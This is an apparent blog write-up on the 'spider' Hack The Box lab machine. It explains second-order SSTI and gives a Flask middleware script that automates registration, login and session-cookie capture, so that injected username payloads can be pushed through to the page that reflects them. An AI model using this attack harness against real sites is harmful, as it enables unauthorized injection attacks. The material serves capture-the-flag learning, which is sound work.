Creating simple middleware for easy exploitation of second order injections like SQLi, SSTI etc

4 min readOct 27, 2021

Second order injection is code injection vulnerability in which unfiltered user input is not directly being passed to the query by web application. Sometimes unfiltered user input is first gets stored in database before going to the query. These types of injections cannot be usually detected by automated scanners, as we will not be getting injection response of http request in the current response. Rather we will be getting the injection response on some other page/response. Let’s see this with an example of SSTI:

Note: This scenerio is in spider htb box.

Let’s see this issue without middleware first.

Checking the user registration page we have, username and password fields.

Note: Username has length limit upto 10 characters.

2. After filling and submitting this form we are provided with a UUID and login page:

http://spider.htb/login?uuid=4d129339-a7c5-402d-acae-83465e132845

3. After logging in we are provided with furniture shopping homepage. Checking the user information information, we are provided with username and UUID:

Now username parmeter, which we provide during registration is vulnerable to SSTI in this case. But the output of our injection is getting reflected in /user page which we get after Registration(http://spider.htb/register), logging in(http://spider.htb/login?uuid=<uuid>) and opening user information page(http://spider.htb/user) .

Registration(http://spider.htb/register)

logging in(http://spider.htb/login?uuid=<uuid>)

user information page(http://spider.htb/user) .

Automated scanner will be unable to find these types of injections as the result/output of our injection is not in subsequent http response of http request sent with injection payload. This is typical scenario when developer assumes user controlled data coming from database or from any other indirect source does not contains any malicious code. For making exploitation easy rather than creating accounts and logging again and again manually we can create a middleware application which is just a simple web application which automates all these steps for us. Below is the

from flask import Flask
from flask import request
import uuid
import requests
import reapp = Flask(__name__)@app.route('/')
def index():
    uname=request.args.get('username') 
    #Getting payload from attacker as a GET username parameter
    #print(uname)
    post_data_reg={"username": uname,"confirm_username": uname,"password": "12345a","confirm_password": "12345a"}
    #Creating a post data payload in json format
    r1= requests.post('http://spider.htb/register', data=post_data_reg)
    #Sending Registration request
    uuid = re.findall(r"[\w]{8}-[\w]{4}-[\w]{4}-[\w]{4}-[\w]{12}", r1.text)
    #finding and filtering uuid in http response of registration using regular expression
    #print(str(uuid[0]))
    #print(r1.text)
    #return r1.text
    post_data_login={"username":str(uuid[0]),"password":"12345a"}
    #Creating post data payload for login request
    r2= requests.post('http://spider.htb/login', data=post_data_login)
    #Sending login request
    #print(r2.headers)
    #print(type(r2.headers['Set-Cookie']))
    #print(r2.headers['Set-Cookie'].split(';'))
    #print(r2.headers['Set-Cookie'].split(';')[0])
    cookie=str(r2.headers['Set-Cookie'].split(';')[0])
    #Filtering out session cookie required for user info request
    #print(cookie)
    #print(r2.text)
    custom_header = {"Cookie": cookie}
    r3= requests.get('http://spider.htb/user', headers = custom_header)
    #Sedning Get request to /user with user session cookie
    return r3.text
    #Sedning the http response of user info page back to browser
app.run(host='0.0.0.0', port=81)